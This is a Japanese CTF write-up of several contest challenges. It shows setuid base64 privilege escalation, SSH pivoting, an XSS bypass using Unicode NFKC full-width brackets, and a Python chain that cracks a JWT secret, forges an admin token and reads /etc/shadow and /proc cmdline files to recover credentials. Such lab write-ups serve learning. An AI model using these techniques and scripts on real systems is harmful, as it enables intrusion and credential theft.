The authenticity of host '10.10.10.21 (10.10.10.21)' can't be established.
ED25519 key fingerprint is SHA256:NPpVq3t+QMxdbYKjzVf9t4ns4RQs+meiEJHIBxXEk7k.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.21' (ED25519) to the list of known hosts.
george@10.10.10.21's password:
Last login: Sun Feb 25 12:24:30 2024 from 10.254.0.31
george@bf29da680fbd:~$ whoami
george
george@bf29da680fbd:~$ ls
secrets.txt
george@bf29da680fbd:~$ cat secrets.txt
cat: secrets.txt: Permission denied
george@bf29da680fbd:~$ ls -AlF
total 16
-r--r--r-- 1 george george  220 Jan  7  2022 .bash_logout
-r--r--r-- 1 george george 3796 Jan 25 20:34 .bashrc
-r--r--r-- 1 george george  807 Jan  7  2022 .profile
-r-------- 1 root   root     54 Jan 25 20:10 secrets.txt
george@bf29da680fbd:~$

~/secrets.txtという非常に気になるファイルがありますが、rootユーザーのみが読み込めるアクセス設定になっています。

sudo -lを実行して権限昇格できる余地があるか探そうとしましたが、どうやらsudoコマンドそのものが無い環境のようでした。SSH接続先はUbuntu 22.04.3 LTSらしいですが、そのような環境でもsudoがない場合があるのでしょうか。

次に、setuidビットが付いている実行形式、つまりrootユーザーとして実行できるファイルがあるか探しました:

george@bf29da680fbd:/bin$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/su
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/chfn
/usr/bin/umount
/usr/bin/base64
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
george@bf29da680fbd:/bin$ ls -AlF /usr/bin/base64
-rwsr-xr-x 1 root root 35328 Feb  8  2022 /usr/bin/base64*
george@bf29da680fbd:/bin$

なぜかbase64コマンドにsetuidビットがついています!早速使いました:

george@bf29da680fbd:~$ base64 secrets.txt | base64 -d
[MariaDB Access Information]
db_user
H4Rib0_90ldB4REN
george@bf29da680fbd:~$

そういうわけでMariaDB向けらしい認証情報を得られました。MariaDBといえば3306/tcpポートです。SSH接続先自身でps -auxを確認してもsshd関連のプロセスだけが稼働しているようだったので、どこか他のマシンへ接続する必要がありそうです。

ここからしばらく詰まりました。SSH接続先にはnmapコマンドが無いため、ポートスキャンが難しそうでした。ssh -D形式で接続してダイナミックポートフォワーディングを有効にして、Kali Linuxからproxychainsコマンドとnmapコマンドの合わせ技でマシンをスキャンしようとしましたが、どうにもうまくいきませんでした。

しばらく悩んだ後、ふとSSH接続先でソケットの使用状況を確認しました:

george@bf29da680fbd:~$ netstat -t | grep 3306
tcp        0      0 bf29da680fbd:42822      ctfbox_mariadb_1.p:3306 ESTABLISHED
george@bf29da680fbd:~$ netstat -tn | grep 3306
tcp        0      0 192.168.32.4:42822      192.168.32.2:3306       ESTABLISHED
george@bf29da680fbd:~$

他の参加者様のどなたかが、192.168.32.2:3306と通信しています!早速、ローカルポートフォワーディングを使って真似しました:

┌──(kali㉿kali)-[~]
└─$  ssh -L 3306:192.168.32.2:3306 george@10.10.10.21
george@10.10.10.21's password:
Last login: Sun Feb 25 12:55:31 2024 from 10.254.0.46
george@bf29da680fbd:~$

# 以下別のターミナルで
┌──(kali㉿kali)-[~/winshare/work/Pivot]
└─$  mysql -h localhost -P 3306 -u db_user -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 234
Server version: 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| flag5              |
| information_schema |
+--------------------+
2 rows in set (0.029 sec)

MariaDB [(none)]> use flag5;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [flag5]> show tables;
+-----------------+
| Tables_in_flag5 |
+-----------------+
| flag            |
+-----------------+
1 row in set (0.043 sec)

MariaDB [flag5]> select * from flag;
+----+------------------------+
| id | flag                   |
+----+------------------------+
|  1 | flag{p!V071ng_M31s73r} |
+----+------------------------+
1 row in set (0.044 sec)

MariaDB [flag5]>

フラグを入手できました: flag{p!V071ng_M31s73r}

[Programming] Logistic Map (211 solved, 10 points)

下記のロジスティック写像について、x_0 = 0.3 を与えた時の x_9999 の値を求め、小数第7位までの値を答えてください(例:flag{0.1234567})。なお、値の保持と計算には倍精度浮動小数点数を使用してください。

x_{n+1} = 3.99 x_n (1 - x_n)
解答形式:flag{X.XXXXXXX} (半角数字)

ヒントや配布ファイルはありません。真っ当に実装しました:

#!/usr/bin/env python3

x = 0.3

for _ in range(9999):
    x = 3.99 * x * (1 - x)
print(f"{x:.7f}")

実行しました:

$ ./solve.py
0.8112735
$

問題文記載の形式で提出してみると正解でした: flag{0.8112735}

[Programming] XML Confectioner (80 solved, 20 points)

添付の sweets.xml には、多数の sweets:batch 要素が含まれています。これらの中から、下記の条件すべてを満たすものを探してください。

1. 少なくとも二つの子要素 sweets:icecream が含まれる
2. 子要素 sweets:icecream には icecream:amount 属性の値が 105g を下回るものがない
3. 子要素 sweets:candy の candy:weight 属性の値の合計が 28.0g 以上である
4. 子要素 sweets:candy の candy:shape 属性が 5 種類以上含まれる
5. cookie:kind 属性が icing でありかつ cookie:radius 属性が 3.0cm 以上の子要素 sweets:cookie を少なくとも一つ含む

フラグは、条件を満たす sweets:batch 要素内において、最も cookie:radius 属性が大きな sweets:cookie 要素の内容に書かれています。

解答形式:flag{XXXXXXXX} (半角英数字)

本問題にヒントはありません。配布ファイルのsweets.xmlは以下の内容でした(実際はXML宣言行と本体の2行のみ、ファイルサイズは1,066,261bytesです):

<sweets:orders xmlns:icecream="http://xml.vlc-cybercontest.com/icecream" xmlns:candy="http://xml.vlc-cybercontest.com/candy" xmlns:cookie="http://xml.vlc-cybercontest.com/cookie" xmlns:sweets="http://xml.vlc-cybercontest.com/sweets">
  <sweets:batch sweets:id="0x1E24A4AE">
    <sweets:icecream icecream:id="0x9F78027" icecream:flavor="strawberry" icecream:amount="94.1164575g" icecream:shape="sphere"/>
    <sweets:icecream icecream:id="0xB9F4B823" icecream:flavor="strawberry" icecream:amount="91.8668061g" icecream:shape="sphere"/>
    <sweets:candy candy:id="0x8C55D4CE" candy:kind="coffee" candy:weight="3.9366492g" candy:shape="tetrahedron"/>
    <sweets:candy candy:id="0x9D8BBA94" candy:kind="soda" candy:weight="3.7906460g" candy:shape="octahedron"/>
    <sweets:candy candy:id="0xB81F4174" candy:kind="coffee" candy:weight="3.3636170g" candy:shape="sphere"/>
    <sweets:cookie cookie:id="0xFB7C6DE7" cookie:kind="checker" cookie:radius="3.2564663cm">flag{TkzPn3ZKL28zJXn7}</sweets:cookie>
    <sweets:cookie cookie:id="0x26C3166A" cookie:kind="icing" cookie:radius="3.0929699cm">flag{MbfkAZTVpc6bMrz9}</sweets:cookie>
  </sweets:batch>
(以下省略)

XMLファイルの扱いは.NETが得意そうなので、C#で書きました。XML名前空間の面倒くささに悲鳴を上げながら、以下のコードを書きました:

using System;
using System.IO;
using System.Linq;
using System.Xml;
using System.Xml.Linq;

using var stream = File.OpenRead("""D:\Documents\work\ctf\MoD_CyberContest_2024\XML Confectioner\sweets.xml""");
var document = XDocument.Load(stream);

string nameSweet = "http://xml.vlc-cybercontest.com/sweets";
string nameIcecream = "http://xml.vlc-cybercontest.com/icecream";
string nameCandy = "http://xml.vlc-cybercontest.com/candy";
string nameCookie = "http://xml.vlc-cybercontest.com/cookie";

// 添付の sweets.xml には、多数の sweets:batch 要素が含まれています。
var q = document.Descendants(XName.Get("batch", nameSweet));
// 少なくとも二つの子要素 sweets:icecream が含まれる
q = q.Where(
    node =>
    node.Elements(XName.Get("icecream", nameSweet))
    .Count() >= 2);
// 子要素 sweets:icecream には icecream:amount 属性の値が 105g を下回るものがない (入力は「94.1164575g」などの文字列)
q = q.Where(
    node =>
    node.Elements(XName.Get("icecream", nameSweet))
    .All(child => double.Parse(child.Attribute(XName.Get("amount", nameIcecream))!.Value.TrimEnd('g')) >= 105));
// 子要素 sweets:candy の candy:weight 属性の値の合計が 28.0g 以上である
q = q.Where(
    node =>
    node.Elements(XName.Get("candy", nameSweet))
    .Select(child => double.Parse(child.Attribute(XName.Get("weight", nameCandy))!.Value.TrimEnd('g')))
    .Sum() >= 28.0);
// 子要素 sweets:candy の candy:shape 属性が 5 種類以上含まれる
q = q.Where(
    node =>
    node.Elements(XName.Get("candy", nameSweet))
    .Select(child => child.Attribute(XName.Get("shape", nameCandy))!.Value)
    .Distinct()
    .Count() >= 5);
// cookie:kind 属性が icing でありかつ cookie:radius 属性が 3.0cm 以上の子要素 sweets:cookie を少なくとも一つ含む
q = q.Where(
    node =>
    node.Elements(XName.Get("cookie", nameSweet))
    .Any(
        child =>
        child.Attribute(XName.Get("kind", nameCookie))!.Value == "icing" &&
        double.Parse(child.Attribute(XName.Get("radius", nameCookie))!.Value.TrimEnd('c', 'm')) >= 3.0));
// フラグは、条件を満たす sweets:batch 要素内において、最も cookie:radius 属性が大きな sweets:cookie 要素の内容に書かれています。
var cookie = q.Elements(XName.Get("cookie", nameSweet))
    .MaxBy(child => double.Parse(child.Attribute(XName.Get("radius", nameCookie))!.Value.TrimEnd('c', 'm')));
Console.WriteLine(cookie!.Value);

以下の.csprojでビルドしました:

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <LangVersion>preview</LangVersion>
    <ImplicitUsings>disable</ImplicitUsings>
    <Nullable>enable</Nullable>
    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
  </PropertyGroup>

</Project>

実行結果を提出すると正解でした: flag{sZ8d5FbntXbL9uwP}

[Trivia] The Original Name of AES (284 solved, 10 points)

Advanced Encryption Standard (AES) は、公募によって策定された標準暗号です。 現在採用されているアルゴリズムの候補名は何だったでしょうか?

flag{XXXXXXXX} (半角英字)

本問題にヒントや配布ファイルはありません。「らいんだーる」のような響きだったはずですが英語表記を覚えていなかったのでGoogle検索すると、Rijndaelとは - 意味をわかりやすく - IT用語辞典 e-Wordsを見つけました。フラグ形式で提出してみると正解でした: flag{Rijndael}

[Trivia] CVE Record of Lowest Number (221 solved, 10 points)

最も番号が若い CVE レコードのソフトウェアパッケージにおいて、脆弱性が指摘された行を含むソースファイル名は何でしょう?

解答形式:flag{XXXXXXXXX} (半角英数・記号)

本問題にヒントや配布ファイルはありません。とりあえず"oldest CVE"でGoogle検索すると、One login enemy at the gates | PPTの7ページ目にOldest CVE CVE-1999-0517との記載がありました。

CVE-1999-0517でGoogle検索を始めた数分後に「常識的に考えて最も若い番号は末尾-0001では?」と気付いて、CVE-1999-0001でGoogle検索を始めました。CVE - CVE-1999-0001を見つけ、References箇所でOpenBSD 2.3 Errataの言及を見つけ、002: SECURITY FIX箇所でhttps://ftp.openbsd.org/pub/OpenBSD/patches/2.3/common/tcpfix.patchを見つけました。そのパッチ内容で扱うファイルはip_input.cだけのようなので、フラグ形式で提出してみると正解でした: flag{ip_input.c}

CVEは1999年からあるのですね。面白い問題と思いました。

[Trivia] MFA Factors (273 solved, 10 points)

多要素認証に使われる本人確認のための3種類の情報の名前は何でしょう?それぞれ漢字2文字で、50音の辞書順で並べて「・」で区切ってお答えください。

解答形式:flag{○○・○○・○○} (それぞれ漢字2文字)

本問題にヒントや配布ファイルはありません。記憶を頼りにflag{所有・生体・知識}を提出してみましたが不正解でした。調べると所有ではなく所持が正しいようだったので改めて提出すると正解でした: flag{所持・生体・知識}

[Web] Browsers Have Local Storage (260 solved, 10 points)

http://10.10.10.30 にアクセスしてフラグを見つけ出し、解答してください。

解答形式:FLAG{************}

1 ポイントを消費してヒントを表示する
ブラウザが持っているストレージについて調べると役に立ちます。

1 ポイントを消費してヒントを表示する
開発者ツールを開いてみてください。

1 ポイントを消費してヒントを表示する
Chromium 系ブラウザでは開発者ツールの Application タブを、Firefox では Storage タブを開いてみてください。

WebサイトにアクセスするとNothing here, but...との表示でした。問題文タイトルからLocal Storageが怪しいので調べました:

フラグが書かれていました: FLAG{Th1s_1s_The_fIrst_flag}

[Web] Insecure (95 solved, 20 points)

あなたは社内ポータルサイト(http://10.10.10.33)の管理者に依頼されて、profile ページが安全に保護されているかチェックすることになりました。 以下のログイン情報を用いてサイトにログインし、管理者の profile ページに記載されている秘密の情報を見つけてください。 なお、依頼の際に「管理者ページのidは0だよ」というヒントをもらっています。

【ログイン情報】

User: testUser
Password: diejuthdkfi14
解答形式:FLAG{************}

2 ポイントを消費してヒントを表示する
profile ページに遷移する際のリクエストを注意深く観察して、id というパラメータを見つけましょう。

2 ポイントを消費してヒントを表示する
/show_profile.php?id=0 としてリクエストを送った際に、id=1 の場合と何が違うでしょう。

2 ポイントを消費してヒントを表示する
/profile_success.php をリクエストするタイミングをずらせないか試してみましょう。

http://10.10.10.33へアクセスするとログインページでした。問題文記載の認証情報でログインすると、ダッシュボードが表示されました:

過去のお知らせ一覧を見る箇所は同一ページへのリンクで意味が無さそうでしたが、プロフィールを見る箇所はhttp://10.10.10.33/show_profile.php?id=1へのリンクでした。当該URLへアクセスすると、http://10.10.10.33/profile_success.phpへ遷移して、testUserのユーザー情報が表示されました。

それでは管理者ページにアクセスできるかとhttp://10.10.10.33/show_profile.php?id=0へアクセスしましたが、http://10.10.10.33/profile_error.phpへ遷移してError: 他人のprofileを覗かないでください表示になりました。しばらく悩んで、クッキーを確認したり(SESSIONIDだけなので偽装は不可能そうです)、idパラメーターにインジェクションしようとしたり(すべてprofile_error.phpへ遷移)しました。

しばらくたって、「内部的にはidが保持されているのでは?」と考えました。http://10.10.10.33/show_profile.php?id=0へアクセスしてhttp://10.10.10.33/profile_error.phpへ遷移させられた後に、直接http://10.10.10.33/profile_success.phpへアクセスしてみました(ダミーに思うものの名前やメールアドレスがあるので一応隠しています):

フラグを入手できました: FLAG{1qaz7ujmbgt5}

[Web] Variation (6 solved, 20 points)

http://10.10.10.32 のWebサーバーで下記形式の XSS を発生させ、フラグを入手してください。 <script>alert(1)</script>

解答形式:FLAG{************}

2 ポイントを消費してヒントを表示する
文字には様々な表現方法があります。

2 ポイントを消費してヒントを表示する
“<”、“>”の2文字がポイントです。

2 ポイントを消費してヒントを表示する
違う文字でも、ある変換によって同じ文字になることがあります。

http://10.10.10.32へアクセスすると、名前入力欄がありました。testと入力すると、Hey, testと挨拶してくれるページへ遷移しました。それではと<script>alert(1)</script>を入力してみると、Hey, scriptalert(1)/scriptと表示されました。どうやら<>は削除されるようです。

シンプルな設定ながらも悩みました。その過程で、とりあえずいろいろな文字を送りつけてみて、応答に変化があるかを確認するスクリプトを書きました:

#!/usr/bin/env python3

import requests
import urllib.parse

BASE_URL = "http://10.10.10.32/greet"

with requests.Session() as session:

    def verify_escape(target):
        response = session.get(BASE_URL, params={"name": target})
        response.raise_for_status()
        t = response.text
        prefix = "<h1>Hey, "
        index = t.find(prefix)
        assert index >= 0
        r = t[index + len(prefix) : index + len(prefix) + len(target)]
        return r if r != target else ""

    SPAN = 10
    for i in range(65536 // SPAN):
        current = ""
        for j in range(SPAN):
            current += chr(i*SPAN + j)
        r = verify_escape(current)
        if r:
            print(f"{current} -> {r}")

実行してみると、想像以上に変換が行われているようでした。実行結果の一部です:

ª«¬­®¯°±²³ -> a«¬­® ̄°±2
´µ¶·¸¹º»¼½ ->  ́μ¶· ̧1o»
¾¿ÀÁÂÃÄÅÆÇ -> 3⁄4¿ÀÁÂ

¾の1文字が3⁄4の3文字へ変換されているあたり、Unicodeの互換分解が施されているようです。そうなると、<>ではない文字を入力として、変換結果にそれらの文字を出現させられる可能性があります。調べました:

#!/usr/bin/env python3

import requests
import unicodedata


for i in range(0x110000):
    s = chr(i)
    n = unicodedata.normalize("NFKC", s)
    if ">" in n or "<" in n:
        print(f"{hex(ord(s))}, {s}, {n}")

実行すると、以下の6文字を得られました:

$ ./solve.py
0x3c, <, <
0x3e, >, >
0xfe64, ﹤, <
0xfe65, ﹥, >
0xff1c, <, <
0xff1e, >, >
$

最初2行はもとの山括弧そのものです。最後2行の, を使ったhttp://10.10.10.32/greet?name=%EF%BC%9Cscript%EF%BC%9Ealert(1)%EF%BC%9C/script%EF%BC%9Eアクセスは、残念ながら同様の検閲済み結果でした。ただ、真ん中2行の, を使ったhttp://10.10.10.32/greet?name=%EF%B9%A4script%EF%B9%A5alert(1)%EF%B9%A4/script%EF%B9%A5アクセスでは成功しました:

<!DOCTYPE html>
<html>
<head>
  <title>Greeting</title>
  <link rel="stylesheet" href="https://unpkg.com/sakura.css/css/sakura.css" type="text/css">
</head>
<body>
  <div>
    <h1>Hey, <script>alert(1)</script></h1>
  </div>
  <h4>FLAG{dfa23afjkl98}</h4>
</body>
</html>

フラグを入手できました: FLAG{dfa23afjkl98}

[Web] Bruteforce (25 solved, 30 points)

http://10.10.10.34:8000 からフラグを回収して下さい。 http://10.10.10.34:5000 で動作するプログラムの内容は、ctf-web-hard.pyに記載されています。

解答形式:FLAG{************}

3 ポイントを消費してヒントを表示する
トークンで使用されている鍵の特定には、rockyou.txt を使用して下さい。

3 ポイントを消費してヒントを表示する
10.10.10.34:8000で動作するプログラムは、ワンライナーで資格情報を設定して動作しています。

3 ポイントを消費してヒントを表示する
ディレクトリトラバーサルの脆弱性を突いて、 /proc/<num>/cmdline を列挙して下さい。

http://10.10.10.34:8000へアクセスすると、ユーザー認証が求められました。何も分からないので、http://10.10.10.34:5000側から確認することにしました。配布ファイルとして、ctf-web-hard.pyがありました:

from flask import Flask
from flask import jsonify
from flask import request

from flask_jwt_extended import create_access_token
from flask_jwt_extended import get_jwt_identity
from flask_jwt_extended import jwt_required
from flask_jwt_extended import JWTManager

app = Flask(__name__)


app.config["JWT_SECRET_KEY"] = "*************"
app.config["JWT_ACCESS_TOKEN_EXPIRES"] = False
app.config["JWT_REFRESH_TOKEN_EXPIRES"] = False
app.config["JWT_COOKIE_CSRF_PROTECT"] = False
app.config["JWT_ENCODE_NBF"] = False


jwt = JWTManager(app)


@app.route("/login", methods=["POST"])
def login():
    users = {}
    users['test'] = 'test'
    users['admin'] = '*************'
    username = request.json.get("username", None)
    print(username)
    password = request.json.get("password", None)
    print(password)
    if (not username in users) or (password != users[username]):
        return jsonify({"msg": "Bad username or password"}), 401

    access_token = create_access_token(identity=username)
    return jsonify(access_token=access_token)

@app.route("/protected", methods=["POST"])
@jwt_required()
def protected():
    current_user = get_jwt_identity()
    if current_user == "test" :
        return "ummm...."
    elif current_user == "admin" :
        filepath = request.json.get("filepath",None)
        f = open(filepath,'r')
        filedata = f.read()
        f.close()
        return jsonify(filedata), 200

if __name__ == "__main__":
    app.run(host="0.0.0.0")

ここで問題名を見て、最初はadminユーザーとしての/loginエンドポイントをブルートフォース攻撃するものかと思っていました。ただhydraコマンドでrockyou.txtを使って数時間実行しても失敗し続けていたので、流石に違ったようです。

testユーザーとしてログインしてアクセストークンを取得するスクリプトを書きました:

#!/usr/bin/env python3

import requests
import jwt

BASE_URL = "http://10.10.10.34:5000"

with requests.Session() as session:
    data = {"username": "test", "password": "test"}
    # data = {"username": "admin", "password": "*************"} # 流石に違った
    response = session.post(BASE_URL + "/login", json=data)
    print(response)
    token = response.json()["access_token"]
    print(token)

結果はeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODgyMzA0MywianRpIjoiMGI3OGJhNjAtZWRiNi00OGZjLTk0M2MtNzM2MTNjY2FiY2E0IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QifQ.0QuxFos3IiPnI2mer1xrRVRzY-OH_jIQRcUL4WRKKEsでした。JSON Web Tokens - jwt.ioで調べると、HS256で署名されていること、payloadのsubフィールドがtestであることが分かります。おそらくsubフィールドをadminへ改ざんし、かつ正しく署名できれば、/protectedエンドポイントを活用できそうです。JWTの署名に使う鍵をブルートフォース攻撃するスクリプトを書きました:

#!/usr/bin/env python3

import jwt

# 「test」ユーザーで手に入ったアクセストークン
access_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODgyMjkzNCwianRpIjoiMjEzMGE0YzgtMWQyNi00OWIxLWIyZDItZmYxNTlhZGU4ZTI1IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QifQ.08_DOVr26xr8_UG4xfEzMNzRUBPhTanjOHTWveqCvEo"

with open("/usr/share/wordlists/rockyou.txt", "rb") as f:
    for (index, line) in enumerate(f):
        line = line.strip()
        try:
            if index % 10000 == 0:
                print(index)
            decoded = jwt.decode(access_token, line , algorithms=["HS256"])
        except(jwt.exceptions.InvalidSignatureError):
            pass
        except(UnicodeDecodeError):
            pass
        else:
            print(line)
            break

Kali Linuxで実行すると数分でクラックに成功していて、署名鍵がconankunであると分かりました。また、adminユーザーに偽装したJWTをどこへ設定したらいいのか調べると、Basic Usage — flask-jwt-extended 4.6.0 documentationからAuthorization: Bearer <access_token>ヘッダーを付与すればいいことが分かりました。実際それらの情報を使うと、/protectedエンドポイントから任意ファイルの読み込みに成功しました。/etc/shadowを読み込めたことから、rootユーザーとして実行されていそうです。

さて、ここまで来ましたが、肝心要のhttp://10.10.10.34:8000で必要な認証情報をどうすれば手に入れられるのか悩みました。/protectedエンドポイントではあくまでファイル読み込みだけができるのであって、ディレクトリ配下の列挙や任意コマンド実行はできません。/proc/self/environを読み込んでも役立つものは無さそうでした。なんとなく精神で、niktoコマンドでhttp://10.10.10.34:8000側を調べました:

┌──(kali㉿kali)-[~/winshare/work]
└─$  nikto -host 'http://10.10.10.34:8000' -output nikto_result_10.10.10.34_8000.txt
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          10.10.10.34
+ Target Hostname:    10.10.10.34
+ Target Port:        8000
+ Start Time:         2024-02-25 19:15:36 (GMT9)
---------------------------------------------------------------------------
+ Server: SimpleHTTP/0.6 Python/3.10.12
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ / - Requires Authentication for realm 'Test'
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ SimpleHTTP/0.6 appears to be outdated (current is at least 1.2).
^C

SimpleHTTP/0.6 Python/3.10.12で動作しているようです!たしかそのサーバーはpython -m http.server形式で起動するサーバーであり、認証に必要なユーザー名やパスワードはコマンドライン引数で与える形式のはずです(参考: http.server — HTTP servers — Python 3.12.2 documentation)。そうなると/protectedエンドポイントから/proc/[pid]/cmdlineを読み込めば認証情報が分かりそうです。最終的に使ったスクリプトです:

#!/usr/bin/env python3

import sys
import requests
import jwt

BASE_URL = "http://10.10.10.34:5000"

# 「test」ユーザーで手に入ったアクセストークン
access_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODgyMjkzNCwianRpIjoiMjEzMGE0YzgtMWQyNi00OWIxLWIyZDItZmYxNTlhZGU4ZTI1IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QifQ.08_DOVr26xr8_UG4xfEzMNzRUBPhTanjOHTWveqCvEo"
jwt_key = b"conankun"

decoded = jwt.decode(access_token, jwt_key, algorithms=["HS256"])
decoded["sub"] = "admin"
modified_token = jwt.encode(decoded, jwt_key, algorithm="HS256")

with requests.Session() as session:
    def read_file(path):
        headers = {"Authorization": f"Bearer {modified_token}"}
        data = {"filepath": path}
        response = session.post(BASE_URL + "/protected", headers=headers, json=data)
        response.raise_for_status()
        return response.json()
    # read_file(sys.argv[1])
    for i in range(2048):
        try:
           print(read_file(f"/proc/{i}/cmdline"))
        except:
            pass

実行すると、以下の内容が得られました:

/usr/bin/python3/var/www/ZQ4zgfia2Kfi/http_server_auth.py--usernameadmin--passwordEG5f9nPCpKxk

ここで/proc/[pid]/cmdlineは各種引数をNUL文字で区切るため、見た目上はスペース無しでひっついているように見えます。とはいえ、ユーザー名はadmin、パスワードはEG5f9nPCpKxkらしいことが分かりました。実際それらを使ってhttp://10.10.10.34:8000へのログインに成功しました:

ディレクトリ名としてフラグがありました: FLAG{pLi5lfm8hJK7}

解けなかった問題

[Miscellaneous] Serial Port Signal (14 solved, 30 points)(ヒント表示で -5 points)

Tx.csv は、とあるシリアル通信の内容を傍受し、電気信号の Hi, Low をそれぞれ数字の 1 と 0 に変換したものです。通信内容を解析してフラグを抽出してください。

解答形式:flag{XXXXXXXX} (半角英数字)

2 ポイントを消費してヒントを表示する
シリアル通信の方式は UART です。

3 ポイントを消費してヒントを表示する
ボーレートは 9600、データ長は 7 bit、パリティは偶数、ストップビットは 1 です。

30分ぐらい取り組んだりヒントを見たりして真っ当にデコードしようとしていましたが、どうにもうまくいきませんでした。防衛省サイバーコンテスト 2024 Writeup - はまやんはまやんはまやんなどの解かれている方の記事を見るに、真っ当にデコードできるようです。私の実装力が足りませんでした……。

[Network] DO_tHe_best (3 solved, 20 points)(ヒント表示で -4 points)

IPアドレス「10.10.10.20」のターゲットシステムに隠された機密情報(フラグ)を見つけ出し、解答してください。

解答形式:flag{**********}

2 ポイントを消費してヒントを表示する
オープンポートに対する通信の応答ヘッダを注意深く観察してください。

2 ポイントを消費してヒントを表示する
ターゲットシステムではRFC 8484 ならびにGoogle方式の双方をサポートしています。

配布ファイルはありません。問題タイトルから、DNS-over-HTTPSを使う問題と予想しました。

とりあえず10.10.10.20を調べました:

┌──(kali㉿kali)-[~/]
└─$  nmap -Pn 10.10.10.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-26 17:04 JST
Nmap scan report for DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com (10.10.10.20)
Host is up (0.055s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT    STATE SERVICE
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds

┌──(kali㉿kali)-[~/]
└─$

httpsが稼働しているようです。ただ、競技時間中にブラウザやnc等でhttps://10.10.10.20へ何度もアクセスを試みたいのですが、すべてレスポンス全く帰らないままタイムアウトになっていました。私含めて参加者の皆様が色々スキャンしていてサーバーが過負荷状態になっていたのかもしれません。なお、2024/02/26(月) 17時頃に試すと、問題なく応答を得られました:

$ curl -ki https://10.10.10.20
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 26 Feb 2024 08:04:59 GMT
Content-Type: text/html
Content-Length: 219
Last-Modified: Tue, 12 Dec 2023 02:25:21 GMT
Connection: keep-alive
ETag: "6577c491-db"
X-Powered-By: DNS-over-HTTPS/2.3.4 (+https://github.com/m13253/dns-over-https)
Accept-Ranges: bytes

<!DOCTYPE html>
<html>
<head>
<title>DoH</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
</body>
</html>
$

競技時間中は「DNS-over-HTTPS用のエンドポイントだけ応答を返すのかもしれない」と想像して、DoH用のエンドポイントがありがちなパスをGoogle検索していました。How do I use curl to resolve a dns over https (DOH) query? - Stack Overflowを参考に試すと、応答が得られました!

$ curl -k -vH "accept: application/dns-json" "https://10.10.10.20/dns-query?name=example.com&type=ANY"
*   Trying 10.10.10.20:443...
* Connected to 10.10.10.20 (10.10.10.20) port 443
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 / X25519 / RSASSA-PSS
* ALPN: server accepted http/1.1
* Server certificate:
*  subject: C=JP; ST=Tokyo; L=Chiyoda-ku; O=CTF; CN=*.example.com; emailAddress=ctf@example.com
*  start date: Dec 12 02:02:18 2023 GMT
*  expire date: Dec  9 02:02:18 2033 GMT
*  issuer: C=JP; ST=Tokyo; L=Chiyoda-ku; O=CTF; CN=*.example.com; emailAddress=ctf@example.com
*  SSL certificate verify result: self-signed certificate (18), continuing anyway.
*   Certificate level 0: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption
* using HTTP/1.x
> GET /dns-query?name=example.com&type=ANY HTTP/1.1
> Host: 10.10.10.20
> User-Agent: curl/8.5.0
> accept: application/dns-json
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* old SSL session ID is stale, removing
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sun, 25 Feb 2024 09:06:36 GMT
< Content-Type: application/json; charset=UTF-8
< Content-Length: 647
< Connection: keep-alive
< Access-Control-Allow-Headers: Content-Type
< Access-Control-Allow-Methods: GET, HEAD, OPTIONS, POST
< Access-Control-Allow-Origin: *
< Access-Control-Max-Age: 3600
< Cache-Control: private, max-age=86400
< Expires: Mon, 26 Feb 2024 09:06:36 GMT
< Last-Modified: Sun, 25 Feb 2024 09:06:36 GMT
< Vary: Accept
< X-Powered-By: DNS-over-HTTPS/2.3.4 (+https://github.com/m13253/dns-over-https)
<
